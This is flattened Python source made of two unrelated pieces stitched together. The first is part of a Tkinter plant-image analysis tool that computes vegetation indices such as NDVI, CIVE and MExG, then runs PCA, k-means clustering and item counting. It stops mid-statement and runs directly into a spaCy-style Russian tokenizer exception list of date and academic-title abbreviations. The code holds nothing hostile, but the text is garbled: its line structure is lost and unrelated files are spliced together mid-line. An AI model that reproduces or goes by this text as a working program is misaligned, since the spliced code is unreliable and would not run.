displayfea_bands=displaybands.reshape((displayfea_l*displayfea_w),1)[:,0] # fea_vector[:,9]=fea_vector[:,0]+fea_bands displayfea_vector[:,6]=displayfea_vector[:,6]+displayfea_bands minv=displayfea_bands.min() maxv=displayfea_bands.max() fearange=maxv-minv colorfeabands=displayfea_bands-minv colorfeabands=colorfeabands/fearange*255 colorfea_vector[:,6]=colorfea_vector[:,6]+colorfeabands displays.update({'LabOstu':displaybands}) bands=self.batch_Multiimagebands[self.file].bands NDI=128*((bands[1,:,:]-bands[0,:,:])/(bands[1,:,:]+bands[0,:,:])+1) tempdict={'NDI':NDI} if 'NDI' not in originbands: originbands.update(tempdict) displaybands=cv2.resize(NDI,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) fea_bands=NDI.reshape(fea_l*fea_w,1)[:,0] # originfea_vector[:,1]=originfea_vector[:,1]+fea_bands displayfea_bands=displaybands.reshape((displayfea_l*displayfea_w),1)[:,0] # fea_vector[:,1]=fea_vector[:,1]+fea_bands displayfea_vector[:,1]=displayfea_vector[:,1]+displayfea_bands minv=displayfea_bands.min() maxv=displayfea_bands.max() fearange=maxv-minv colorfeabands=displayfea_bands-minv colorfeabands=colorfeabands/fearange*255 colorfea_vector[:,6]=colorfea_vector[:,6]+colorfeabands displaydict={'NDI':displaybands} displays.update(displaydict) Red=bands[0,:,:] Green=bands[1,:,:] Blue=bands[2,:,:] tempdict={'Band1':Red} if 'Band1' not in originbands: originbands.update(tempdict) image=cv2.resize(Red,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) displaydict={'Band1':image} displays.update(displaydict) fea_bands=Red.reshape(fea_l*fea_w,1)[:,0] # originfea_vector[:,2]=originfea_vector[:,2]+fea_bands displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] fea_vector[:,0]=fea_vector[:,0]+displayfea_bands # displayfea_vector[:,2]=displayfea_vector[:,2]+displayfea_bands tempdict={'Band2':Green} if 'Band2' not in originbands: originbands.update(tempdict) image=cv2.resize(Green,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) displaydict={'Band2':image} displays.update(displaydict) fea_bands=Green.reshape(fea_l*fea_w,1)[:,0] # originfea_vector[:,3]=originfea_vector[:,3]+fea_bands displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] fea_vector[:,1]=fea_vector[:,1]+displayfea_bands # displayfea_vector[:,3]=displayfea_vector[:,3]+displayfea_bands tempdict={'Band3':Blue} if 'Band3' not in originbands: originbands.update(tempdict) # originfea_vector[:,4]=originfea_vector[:,4]+Blue image=cv2.resize(Blue,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) displaydict={'Band3':image} displays.update(displaydict) fea_bands=Blue.reshape(fea_l*fea_w,1)[:,0] displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] fea_vector[:,2]=fea_vector[:,2]+displayfea_bands # displayfea_vector[:,4]=displayfea_vector[:,4]+displayfea_bands Greenness = bands[1, :, :] / (bands[0, :, :] + bands[1, :, :] + bands[2, :, :]) tempdict = {'Greenness': Greenness} if 'Greenness' not in originbands: originbands.update(tempdict) # originfea_vector[:,5]=originfea_vector[:,5]+Greenness image=cv2.resize(Greenness,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) #image=image.reshape((int(bandsize[1]/ratio),int(bandsize[0]/ratio),3)) displaydict={'Greenness':image} #displaybandarray.update(worktempdict) displays.update(displaydict) fea_bands=Greenness.reshape(fea_l*fea_w,1)[:,0] displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] # fea_vector[:,5]=fea_vector[:,5]+fea_bands minv=displayfea_bands.min() maxv=displayfea_bands.max() fearange=maxv-minv colorfeabands=displayfea_bands-minv colorfeabands=colorfeabands/fearange*255 colorfea_vector[:,2]=colorfea_vector[:,2]+colorfeabands displayfea_vector[:,2]=displayfea_vector[:,2]+displayfea_bands VEG=bands[1,:,:]/(np.power(bands[0,:,:],0.667)*np.power(bands[2,:,:],(1-0.667))) tempdict={'VEG':VEG} if 'VEG' not in originbands: originbands.update(tempdict) # originfea_vector[:,6]=originfea_vector[:,6]+VEG image=cv2.resize(VEG,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) kernel=np.ones((4,4),np.float32)/16 #displaybandarray.update({'LabOstu':}) #image=image.reshape((int(bandsize[1]/ratio),int(bandsize[0]/ratio),3)) worktempdict={'VEG':cv2.filter2D(image,-1,kernel)} displays.update(worktempdict) fea_bands=VEG.reshape(fea_l*fea_w,1)[:,0] displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] # fea_vector[:,6]=fea_vector[:,6]+fea_bands minv=displayfea_bands.min() maxv=displayfea_bands.max() fearange=maxv-minv colorfeabands=displayfea_bands-minv colorfeabands=colorfeabands/fearange*255 colorfea_vector[:,3]=colorfea_vector[:,3]+colorfeabands displayfea_vector[:,3]=displayfea_vector[:,3]+displayfea_bands CIVE=0.441*bands[0,:,:]-0.811*bands[1,:,:]+0.385*bands[2,:,:]+18.78745 tempdict={'CIVE':CIVE} if 'CIVE' not in originbands: originbands.update(tempdict) # originfea_vector[:,7]=originfea_vector[:,7]+CIVE image=cv2.resize(CIVE,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) #image=image.reshape((int(bandsize[1]/ratio),int(bandsize[0]/ratio),3)) worktempdict={'CIVE':image} displays.update(worktempdict) fea_bands=CIVE.reshape(fea_l*fea_w,1)[:,0] displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] # fea_vector[:,7]=fea_vector[:,7]+fea_bands displayfea_vector[:,4]=displayfea_vector[:,4]+displayfea_bands minv=displayfea_bands.min() maxv=displayfea_bands.max() fearange=maxv-minv colorfeabands=displayfea_bands-minv colorfeabands=colorfeabands/fearange*255 colorfea_vector[:,4]=colorfea_vector[:,4]+colorfeabands MExG=1.262*bands[1,:,:]-0.884*bands[0,:,:]-0.311*bands[2,:,:] tempdict={'MExG':MExG} if 'MExG' not in originbands: originbands.update(tempdict) # originfea_vector[:,8]=originfea_vector[:,8]+MExG image=cv2.resize(MExG,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) #image=image.reshape((int(bandsize[1]/ratio),int(bandsize[0]/ratio),3)) worktempdict={'MExG':image} displays.update(worktempdict) fea_bands=MExG.reshape(fea_l*fea_w,1)[:,0] displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] # fea_vector[:,8]=fea_vector[:,8]+fea_bands displayfea_vector[:,5]=displayfea_vector[:,5]+displayfea_bands minv=displayfea_bands.min() maxv=displayfea_bands.max() fearange=maxv-minv colorfeabands=displayfea_bands-minv colorfeabands=colorfeabands/fearange*255 colorfea_vector[:,5]=colorfea_vector[:,5]+colorfeabands NDVI=(bands[0,:,:]-bands[2,:,:])/(bands[0,:,:]+bands[2,:,:]) tempdict={'NDVI':NDVI} if 'NDVI' not in originbands: originbands.update(tempdict) # originfea_vector[:,0]=originfea_vector[:,9]+NDVI image=cv2.resize(NDVI,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) #image=image.reshape((int(bandsize[1]/ratio),int(bandsize[0]/ratio),3)) worktempdict={'NDVI':image} displays.update(worktempdict) fea_bands=NDVI.reshape(fea_l*fea_w,1)[:,0] displayfea_bands=image.reshape((displayfea_l*displayfea_w),1)[:,0] # fea_vector[:,0]=fea_vector[:,9]+fea_bands displayfea_vector[:,0]=displayfea_vector[:,0]+displayfea_bands minv=displayfea_bands.min() maxv=displayfea_bands.max() fearange=maxv-minv colorfeabands=displayfea_bands-minv colorfeabands=colorfeabands/fearange*255 colorfea_vector[:,0]=colorfea_vector[:,0]+colorfeabands NGRDI=(bands[1,:,:]-bands[0,:,:])/(bands[1,:,:]+bands[0,:,:]) tempdict={'NGRDI':NGRDI} if 'NGRDI' not in originbands: originbands.update(tempdict) image=cv2.resize(NGRDI,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) #image=image.reshape((int(bandsize[1]/ratio),int(bandsize[0]/ratio),3)) worktempdict={'NGRDI':image} displays.update(worktempdict) if channel>=1: nirbands=self.batch_Multigraybands[self.file].bands NDVI=(nirbands[0,:,:]-bands[1,:,:])/(nirbands[0,:,:]+bands[1,:,:]) tempdict={'NDVI':NDVI} #if 'NDVI' not in originbandarray: originbands.update(tempdict) image=cv2.resize(NDVI,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) #image=image.reshape((int(bandsize[1]/ratio),int(bandsize[0]/ratio),3)) worktempdict={'NDVI':image} displays.update(worktempdict) '''PCA part''' displayfea_vector=np.concatenate((fea_vector,displayfea_vector),axis=1) M=np.mean(displayfea_vector.T,axis=1) OM=np.mean(fea_vector.T,axis=1) print('M',M,'M shape',M.shape, 'OM',OM,'OM Shape',OM.shape) C=displayfea_vector-M OC=fea_vector-OM #max=np.max(C.T,axis=1) #print('MAX',max) #C=C/max print('C',C,'OC',OC) #V=np.cov(C.T) V=np.corrcoef(C.T) OV=np.corrcoef(OC.T) std=np.std(displayfea_vector.T,axis=1) O_std=np.std(fea_vector.T,axis=1) print(std,O_std) std_displayfea=C/std O_stddisplayfea=OC/O_std print(std_displayfea,O_stddisplayfea) #eigvalues,eigvectors=np.linalg.eig(V) #n,m=displayfea_vector.shape #C=np.dot(displayfea_vector.T,displayfea_vector)/(n-1) V_var=np.cov(std_displayfea.T) print('COV',V_var) print('COR',V) eigvalues=la.eigvals(V_var) #eigvalues=np.linalg.eigvals(C) print('eigvalue',eigvalues) idx=np.argsort(eigvalues) print('idx',idx) eigvalues,eigvectors=np.linalg.eig(V) print('eigvalue',eigvalues) print('eigvectors',eigvectors) eigvalueperc={} featurechannel=10 # for i in range(len(eigvalues)): # print('percentage',i,eigvalues[i]/sum(eigvalues)) # eigvalueperc.update({i:eigvalues[i]/sum(eigvalues)}) # #if eigvalues[i]>0: # featurechannel+=1 # o_eigenvalue,o_eigenvector=np.linalg.eig(OV) pcabands=np.zeros((displayfea_vector.shape[0],featurechannel)) # o_pcabands=np.zeros((fea_vector.shape[0],featurechannel)) pcavar={} #separate PCA # for i in range(3): # pcn=o_eigenvector[:,i] # pcnbands=np.dot(O_stddisplayfea,pcn) # pcvar=np.var(pcnbands) # print('pc',i+1,' var=',pcvar) # pcabands[:,i]=pcabands[:,i]+pcnbands # for i in range(7): # pcn=eigvectors[:,i] # # opcn=o_eigenvector[:,i] # #pcnbands=np.dot(displayfea_vector,pcn) # pcnbands=np.dot(std_displayfea,pcn) # # opcnbands=np.dot(O_stddisplayfea,opcn) # pcvar=np.var(pcnbands) # print('pc',i+1,' var=',pcvar) # temppcavar={i:pcvar} # pcavar.update(temppcavar) # # pcnbands=np.dot(C,pcn) # # opcnbands=np.dot(OC,opcn) # pcabands[:,i+3]=pcabands[:,i+3]+pcnbands #combined PCa for i in range(featurechannel): pcn=eigvectors[:,i] # pcnbands=np.dot(std_displayfea,pcn) pcnbands=np.dot(C,pcn) pcvar=np.var(pcnbands) print('pc',i+1,' var=',pcvar) temppcavar={i:pcvar} pcavar.update(temppcavar) pcabands[:,i]=pcabands[:,i]+pcnbands # o_pcabands[:,i]=o_pcabands[:,i]+opcnbands # sortvar=sorted(pcavar,key=pcavar.get) # print(sortvar) # for i in range(len(sortvar)): # pcn=eigvectors[:,sortvar[i]] # pcnbands=np.dot(displayfea_vector,pcn) # pcabands[:,i]=pcabands[:,i]+pcnbands #np.savetxt('pcs.csv',pcabands,delimiter=',',fmt='%s') #np.savetxt('color-index.csv',displayfea_vector,delimiter=',',fmt='%s') #high,width=pcabands.shape #fp=open('pcs.csv',w) #fc=open('color-index.csv',w) #head=['Otsu','NDI','R','G','B','Greenness','VEG','CIVE','MExG','NDVI'] #for i in range(high): # '''No PCA''' # colorfea_vector=np.concatenate((fea_vector,colorfea_vector),axis=1) # displayfea_vector=np.concatenate((fea_vector,displayfea_vector),axis=1) # M=np.mean(colorfea_vector.T,axis=1) # print('colorfea_vector M',M) # pcabands=np.copy(colorfea_vector) # featurechannel=10 #threedplot(pcabands) # self.batch_originpcabands.update({self.file:o_pcabands}) self.batch_originpcabands.update({self.file:displayfea_vector}) pcabandsdisplay=pcabands.reshape(displayfea_l,displayfea_w,featurechannel) #originbands={'LabOstu':pcabandsdisplay} tempdictdisplay={'LabOstu':pcabandsdisplay} #displaybandarray.update({file:displays}) self.batch_displaybandarray.update({self.file:tempdictdisplay}) self.batch_originbandarray.update({self.file:originbands}) def kmeansclassify(self): if kmeans==0: messagebox.showerror('Kmeans error','Kmeans should greater than 0') return None file=self.file originpcabands=self.batch_displaybandarray[file]['LabOstu'] pcah,pcaw,pcac=originpcabands.shape tempband=np.zeros((pcah,pcaw,1)) if pcweight==0.0: tempband[:,:,0]=tempband[:,:,0]+originpcabands[:,:,pcs] else: if pcweight<0.0: rgbpc=originpcabands[:,:,0] else: rgbpc=originpcabands[:,:,1] rgbpc=(rgbpc-rgbpc.min())*255/(rgbpc.max()-rgbpc.min()) firstterm=abs(pcweight)*2*rgbpc colorpc=originpcabands[:,:,pcs] colorpc=(colorpc-colorpc.min())*255/(colorpc.max()-colorpc.min()) secondterm=(1-abs(pcweight)*2)*colorpc tempband[:,:,0]=tempband[:,:,0]+firstterm+secondterm self.displaypclagels=np.copy(tempband[:,:,0]) if kmeans==1: print('kmeans=1') displaylabels=np.mean(tempband,axis=2) pyplt.imsave(file+'_k=1.png',displaylabels) else: if kmeans>1: h,w,c=tempband.shape print('shape',tempband.shape) reshapedtif=tempband.reshape(tempband.shape[0]*tempband.shape[1],c) print('reshape',reshapedtif.shape) clf=KMeans(n_clusters=kmeans,init='k-means++',n_init=10,random_state=0) tempdisplayimg=clf.fit(reshapedtif) # print('label=0',np.any(tempdisplayimg==0)) displaylabels=tempdisplayimg.labels_.reshape((self.batch_displaybandarray[self.file]['LabOstu'].shape[0], self.batch_displaybandarray[self.file]['LabOstu'].shape[1])) clusterdict={} displaylabels=displaylabels+10 for i in range(kmeans): locs=np.where(tempdisplayimg.labels_==i) maxval=reshapedtif[locs].max() print(maxval) clusterdict.update({maxval:i+10}) print(clusterdict) sortcluster=list(sorted(clusterdict)) print(sortcluster) for i in range(len(sortcluster)): cluster_num=clusterdict[sortcluster[i]] displaylabels=np.where(displaylabels==cluster_num,i,displaylabels) return displaylabels def kmeansclassify_oldversion(self): if kmeans==0: messagebox.showerror('Kmeans error','Kmeans should greater than 0') return None file=self.file originpcabands=self.batch_displaybandarray[self.file]['LabOstu'] pcah,pcaw,pcac=originpcabands.shape print(self.file,'originpcabands',pcah,pcaw,pcac) pcakeys=pcs tempband=np.zeros((pcah,pcaw,len(pcakeys))) for i in range(len(pcakeys)): channel=int(pcakeys[i])-1 tempband[:,:,i]=tempband[:,:,i]+originpcabands[:,:,channel] if kmeans==1: print('kmeans=1') displaylabels=np.mean(tempband,axis=2) pyplt.imsave(file+'_k=1.png',displaylabels) else: #tempband=displaybandarray[currentfilename]['LabOstu'] if kmeans>1: h,w,c=tempband.shape print('shape',tempband.shape) reshapedtif=tempband.reshape(tempband.shape[0]*tempband.shape[1],c) print('reshape',reshapedtif.shape) clf=KMeans(n_clusters=kmeans,init='k-means++',n_init=10,random_state=0) tempdisplayimg=clf.fit(reshapedtif) # print('label=0',np.any(tempdisplayimg==0)) displaylabels=tempdisplayimg.labels_.reshape((self.batch_displaybandarray[self.file]['LabOstu'].shape[0], self.batch_displaybandarray[self.file]['LabOstu'].shape[1])) clusterdict={} displaylabels=displaylabels+10 for i in range(kmeans): locs=np.where(tempdisplayimg.labels_==i) maxval=reshapedtif[locs].max() print(maxval) clusterdict.update({maxval:i+10}) print(clusterdict) sortcluster=list(sorted(clusterdict)) print(sortcluster) for i in range(len(sortcluster)): cluster_num=clusterdict[sortcluster[i]] displaylabels=np.where(displaylabels==cluster_num,i,displaylabels) return displaylabels def generateimgplant(self,displaylabels): colordicesband=np.copy(displaylabels) tempdisplayimg=np.zeros((self.batch_displaybandarray[self.file]['LabOstu'].shape[0], self.batch_displaybandarray[self.file]['LabOstu'].shape[1])) colordivimg=np.zeros((self.batch_displaybandarray[self.file]['LabOstu'].shape[0], self.batch_displaybandarray[self.file]['LabOstu'].shape[1])) for i in range(len(kmeans_sel)): sk=kmeans_sel[i]-1 tempdisplayimg=np.where(displaylabels==sk,1,tempdisplayimg) currentlabels=np.copy(tempdisplayimg) originbinaryimg=np.copy(tempdisplayimg) tempcolorimg=np.copy(displaylabels).astype('float32') ratio=batch_findratio([tempdisplayimg.shape[0],tempdisplayimg.shape[1]],[850,850]) if tempdisplayimg.shape[0]*tempdisplayimg.shape[1]<850*850: tempdisplayimg=cv2.resize(tempdisplayimg,(int(tempdisplayimg.shape[1]*ratio),int(tempdisplayimg.shape[0]*ratio))) colordivimg=cv2.resize(tempcolorimg,(int(colordivimg.shape[1]*ratio),int(colordivimg.shape[0]*ratio))) else: tempdisplayimg=cv2.resize(tempdisplayimg,(int(tempdisplayimg.shape[1]/ratio),int(tempdisplayimg.shape[0]/ratio))) colordivimg=cv2.resize(tempcolorimg,(int(colordivimg.shape[1]/ratio),int(colordivimg.shape[0]/ratio))) binaryimg=np.zeros((tempdisplayimg.shape[0],tempdisplayimg.shape[1],3)) colordeimg=np.zeros((colordivimg.shape[0],colordivimg.shape[1],3)) locs=np.where(tempdisplayimg==1) binaryimg[locs]=[240,228,66] for i in range(kmeans): locs=np.where(colordivimg==i) colordeimg[locs]=batch_colorbandtable[i] Image.fromarray(colordeimg.astype('uint8')).save(self.file+'-allcolorindex.png',"PNG") Image.fromarray((binaryimg.astype('uint8'))).save(self.file+'-binaryimg.png',"PNG") return currentlabels,originbinaryimg def resegment(self): if type(self.reseglabels) == type(None): return False labels=np.copy(self.reseglabels) reseglabels,border,colortable,labeldict=tkintercorestat.resegmentinput(labels,minthres,maxthres,minlw,maxlw) self.batch_results.update({self.file:(labeldict,{})}) return True def extraction(self,currentlabels): if kmeans==1: messagebox.showerror('Invalid Class #',message='#Class = 1, try change it to 2 or more, and refresh Color-Index.') return False nonzeros=np.count_nonzero(currentlabels) print('nonzero counts',nonzeros) nonzeroloc=np.where(currentlabels!=0) try: ulx,uly=min(nonzeroloc[1]),min(nonzeroloc[0]) except: messagebox.showerror('Invalid Colorindices',message='Need to process colorindicies') return False rlx,rly=max(nonzeroloc[1]),max(nonzeroloc[0]) nonzeroratio=float(nonzeros)/((rlx-ulx)*(rly-uly)) print(nonzeroratio) if nonzeroratio>std_nonzeroratio*2: return False dealpixel=nonzeroratio*currentlabels.shape[0]*currentlabels.shape[1] ratio=1 if nonzeroratio<=0.2:# and nonzeroratio>=0.1: ratio=batch_findratio([currentlabels.shape[0],currentlabels.shape[1]],[1600,1600]) if currentlabels.shape[0]*currentlabels.shape[1]>1600*1600: workingimg=cv2.resize(currentlabels,(int(currentlabels.shape[1]/ratio),int(currentlabels.shape[0]/ratio)),interpolation=cv2.INTER_LINEAR) else: #ratio=1 #print('nonzeroratio',ratio) workingimg=np.copy(currentlabels) segmentratio=0 else: print('deal pixel',dealpixel) if dealpixel>512000: if currentlabels.shape[0]*currentlabels.shape[1]>850*850: segmentratio=batch_findratio([currentlabels.shape[0],currentlabels.shape[1]],[850,850]) if segmentratio<2: segmentratio=2 workingimg=cv2.resize(currentlabels,(int(currentlabels.shape[1]/segmentratio),int(currentlabels.shape[0]/segmentratio)),interpolation=cv2.INTER_LINEAR) else: segmentratio=1 #print('ratio',ratio) workingimg=np.copy(currentlabels) pixelmmratio=1.0 coin=False print('nonzeroratio:',ratio,'segmentation ratio',segmentratio) print('workingimgsize:',workingimg.shape) pyplt.imsave('workingimg.png',workingimg) originlabels=None if originlabels is None: originlabels,border,colortable,originlabeldict=tkintercorestat.init(workingimg,workingimg,'',workingimg,10,coin) self.reseglabels=originlabels self.batch_results.update({self.file:(originlabeldict,{})}) return True def savePCAimg(self,originfile): file=self.file path=self.exportpath originpcabands=self.batch_displaybandarray[file]['LabOstu'] pcah,pcaw,pcac=originpcabands.shape tempband=np.zeros((pcah,pcaw)) if pcweight==0.0: tempband=tempband+originpcabands[:,:,pcs] else: if pcweight<0.0: rgbpc=originpcabands[:,:,0] else: rgbpc=originpcabands[:,:,1] rgbpc=(rgbpc-rgbpc.min())*255/(rgbpc.max()-rgbpc.min()) firstterm=abs(pcweight)*2*rgbpc colorpc=originpcabands[:,:,pcs] colorpc=(colorpc-colorpc.min())*255/(colorpc.max()-colorpc.min()) secondterm=(1-abs(pcweight)*2)*colorpc tempband=tempband+firstterm+secondterm displaylabels=np.copy(tempband) if displaylabels.min()<0: displaylabels=displaylabels-displaylabels.min() colorrange=displaylabels.max()-displaylabels.min() displaylabels=displaylabels*255/colorrange grayimg=Image.fromarray(displaylabels.astype('uint8'),'L') originheight,originwidth=self.batch_Multigraybands[file].size origingray=grayimg.resize([originwidth,originheight],resample=Image.BILINEAR) origingray.save(path+'/'+originfile+'-PCAimg.png',"PNG") # addcolorstrip() return def savePCAimg_oldversion(self,originfile): file=self.file path=self.exportpath originpcabands=self.batch_displaybandarray[file]['LabOstu'] pcah,pcaw,pcac=originpcabands.shape pcakeys=pcs tempband=np.zeros((pcah,pcaw,len(pcakeys))) for i in range(len(pcakeys)): channel=int(pcakeys[i])-1 tempband[:,:,i]=tempband[:,:,i]+originpcabands[:,:,channel] displaylabels=np.mean(tempband,axis=2) # generateimgplant(displaylabels) # grayimg=(((displaylabels-displaylabels.min())/(displaylabels.max()-displaylabels.min()))*255.9).astype(np.uint8) # pyplt.imsave('k=1.png',displaylabels.astype('uint8')) # pyplt.imsave('k=1.png',grayimg) if displaylabels.min()<0: displaylabels=displaylabels-displaylabels.min() colorrange=displaylabels.max()-displaylabels.min() displaylabels=displaylabels*255/colorrange grayimg=Image.fromarray(displaylabels.astype('uint8'),'L') originheight,originwidth=self.batch_Multigraybands[file].size origingray=grayimg.resize([originwidth,originheight],resample=Image.BILINEAR) origingray.save(path+'/'+originfile+'-PCAimg.png',"PNG") # addcolorstrip() return def showcounting(self,tup,number=True,frame=True,header=True,whext=False,blkext=False): labels=tup[0] colortable=tup[2] coinparts=tup[3] filename=tup[4] uniquelabels=list(colortable.keys()) imgrsc=cv2.imread(FOLDER+'/'+filename,flags=cv2.IMREAD_ANYCOLOR) imgrsc=cv2.cvtColor(imgrsc,cv2.COLOR_BGR2RGB) imgrsc=cv2.resize(imgrsc,(labels.shape[1],labels.shape[0]),interpolation=cv2.INTER_LINEAR) image=Image.fromarray(imgrsc) if whext==True: # blkbkg=np.zeros((labels.shape[0],labels.shape[1],3),dtype='float') whbkg=np.zeros((labels.shape[0],labels.shape[1],3),dtype='float') whbkg[:,:,:]=[255,255,255] itemlocs=np.where(labels!=0) # blkbkg[itemlocs]=imgrsc[itemlocs] whbkg[itemlocs]=imgrsc[itemlocs] image=Image.fromarray(whbkg.astype('uint8')) if blkext==True: blkbkg=np.zeros((labels.shape[0],labels.shape[1],3),dtype='float') itemlocs=np.where(labels!=0) blkbkg[itemlocs]=imgrsc[itemlocs] blkbkg[itemlocs]=imgrsc[itemlocs] image=Image.fromarray(blkbkg.astype('uint8')) print('showcounting_resize',image.size) image.save('beforlabel.gif',append_images=[image]) draw=ImageDraw.Draw(image) sizeuniq,sizecounts=np.unique(labels,return_counts=True) minsize=min(sizecounts) suggsize=int(minsize**0.5) if suggsize>22: suggsize=22 if suggsize<14: suggsize=14 font=ImageFont.truetype('cmb10.ttf',size=suggsize) for uni in uniquelabels: if uni!=0: pixelloc = np.where(labels == uni) try: ulx = min(pixelloc[1]) except: continue uly = min(pixelloc[0]) rlx = max(pixelloc[1]) rly = max(pixelloc[0]) midx = ulx + int((rlx - ulx) / 2) midy = uly + int((rly - uly) / 2) print(ulx, uly, rlx, rly) if frame==True: draw.polygon([(ulx,uly),(rlx,uly),(rlx,rly),(ulx,rly)],outline='red') if number==True: if uni in colortable: canvastext = str(colortable[uni]) else: canvastext = 'No label' # if imgtypevar.get()=='0': draw.text((midx-1, midy+1), text=canvastext, font=font, fill='white') draw.text((midx+1, midy+1), text=canvastext, font=font, fill='white') draw.text((midx-1, midy-1), text=canvastext, font=font, fill='white') draw.text((midx+1, midy-1), text=canvastext, font=font, fill='white') #draw.text((midx,midy),text=canvastext,font=font,fill=(141,2,31,0)) draw.text((midx,midy),text=canvastext,font=font,fill='black') if header==True: content='item count:'+str(len(uniquelabels))+'\n File: '+filename contentlength=len(content)+50 #rectext=canvas.create_text(10,10,fill='black',font='Times 16',text=content,anchor=NW) draw.text((10-1, 10+1), text=content, font=font, fill='white') draw.text((10+1, 10+1), text=content, font=font, fill='white') draw.text((10-1, 10-1), text=content, font=font, fill='white') draw.text((10+1, 10-1), text=content, font=font, fill='white') #draw.text((10,10),text=content,font=font,fill=(141,2,31,0)) draw.text((10,10),text=content,font=font,fill='black') #image.save(originfile+'-countresult'+extension,"JPEG") #firstimg=Multigraybands[currentfilename] #height,width=firstimg.size height,width,channel=self.batch_displaybandarray[filename]['LabOstu'].shape ratio=batch_findratio([height,width],[850,850]) #if labels.shape[0]*labels.shape[1]<850*850: # disimage=image.resize([int(labels.shape[1]*ratio),int(labels.shape[0]*ratio)],resample=Image.BILINEAR) #else: # disimage=image.resize([int(labels.shape[1]/ratio),int(labels.shape[0]/ratio)],resample=Image.BILINEAR) print('show counting ratio',ratio) if height*width<850*850: print('showcounting small') disimage=image.resize([int(width*ratio),int(height*ratio)],resample=Image.BILINEAR) else: print('showcounting big') disimage=image.resize([int(width/ratio),int(height/ratio)],resample=Image.BILINEAR) print('showcounting shape',disimage.size) displayoutput=ImageTk.PhotoImage(disimage) disimage.save('output.gif',append_images=[disimage]) #image.save('originoutput.gif',append_images=[image]) return displayoutput,image,disimage def export_ext(self,whext=False,blkext=False): if len(batch_filenames)==0: messagebox.showerror('No
from ..tokenizer_exceptions import BASE_EXCEPTIONS from ...symbols import ORTH, NORM from ...util import update_exc _exc = {} _abbrev_exc = [ # Weekdays abbreviations {ORTH: "пн", NORM: "понедельник"}, {ORTH: "вт", NORM: "вторник"}, {ORTH: "ср", NORM: "среда"}, {ORTH: "чт", NORM: "четверг"}, {ORTH: "чтв", NORM: "четверг"}, {ORTH: "пт", NORM: "пятница"}, {ORTH: "сб", NORM: "суббота"}, {ORTH: "сбт", NORM: "суббота"}, {ORTH: "вс", NORM: "воскресенье"}, {ORTH: "вскр", NORM: "воскресенье"}, {ORTH: "воскр", NORM: "воскресенье"}, # Months abbreviations {ORTH: "янв", NORM: "январь"}, {ORTH: "фев", NORM: "февраль"}, {ORTH: "февр", NORM: "февраль"}, {ORTH: "мар", NORM: "март"}, # {ORTH: "март", NORM: "март"}, {ORTH: "мрт", NORM: "март"}, {ORTH: "апр", NORM: "апрель"}, # {ORTH: "май", NORM: "май"}, {ORTH: "июн", NORM: "июнь"}, # {ORTH: "июнь", NORM: "июнь"}, {ORTH: "июл", NORM: "июль"}, # {ORTH: "июль", NORM: "июль"}, {ORTH: "авг", NORM: "август"}, {ORTH: "сен", NORM: "сентябрь"}, {ORTH: "сент", NORM: "сентябрь"}, {ORTH: "окт", NORM: "октябрь"}, {ORTH: "октб", NORM: "октябрь"}, {ORTH: "ноя", NORM: "ноябрь"}, {ORTH: "нояб", NORM: "ноябрь"}, {ORTH: "нбр", NORM: "ноябрь"}, {ORTH: "дек", NORM: "декабрь"}, ] for abbrev_desc in _abbrev_exc: abbrev = abbrev_desc[ORTH] for orth in (abbrev, abbrev.capitalize(), abbrev.upper()): _exc[orth] = [{ORTH: orth, NORM: abbrev_desc[NORM]}] _exc[orth + "."] = [{ORTH: orth + ".", NORM: abbrev_desc[NORM]}] for abbr in [ # Year slang abbreviations {ORTH: "2к15", NORM: "2015"}, {ORTH: "2к16", NORM: "2016"}, {ORTH: "2к17", NORM: "2017"}, {ORTH: "2к18", NORM: "2018"}, {ORTH: "2к19", NORM: "2019"}, {ORTH: "2к20", NORM: "2020"}, {ORTH: "2к21", NORM: "2021"}, {ORTH: "2к22", NORM: "2022"}, {ORTH: "2к23", NORM: "2023"}, {ORTH: "2к24", NORM: "2024"}, {ORTH: "2к25", NORM: "2025"}, ]: _exc[abbr[ORTH]] = [abbr] for abbr in [ # Profession and academic titles abbreviations {ORTH: "ак.", NORM: "академик"}, {ORTH: "акад.", NORM: "академик"}, {ORTH: "д-р архитектуры", NORM: "доктор архитектуры"}, {ORTH: "д-р биол. наук", NORM: "доктор биологических наук"}, {ORTH: "д-р ветеринар. наук", NORM: "доктор ветеринарных наук"}, {ORTH: "д-р воен. наук", NORM: "доктор военных наук"}, {ORTH: "д-р геогр. наук", NORM: "доктор географических наук"}, {ORTH: "д-р геол.-минерал. наук", NORM: "доктор геолого-минералогических наук"}, {ORTH: "д-р искусствоведения", NORM: "доктор искусствоведения"}, {ORTH: "д-р ист. наук", NORM: "доктор исторических наук"}, {ORTH: "д-р культурологии", NORM: "доктор культурологии"}, {ORTH: "д-р мед. наук", NORM: "доктор медицинских наук"}, {ORTH: "д-р пед. наук", NORM: "доктор педагогических наук"}, {ORTH: "д-р полит. наук", NORM: "доктор политических наук"}, {ORTH: "д-р психол. наук", NORM: "доктор психологических наук"}, {ORTH: "д-р с.-х. наук", NORM: "доктор сельскохозяйственных наук"}, {ORTH: "д-р социол. наук", NORM: "доктор социологических наук"}, {ORTH: "д-р техн. наук", NORM: "доктор технических наук"}, {ORTH: "д-р фармацевт. наук", NORM: 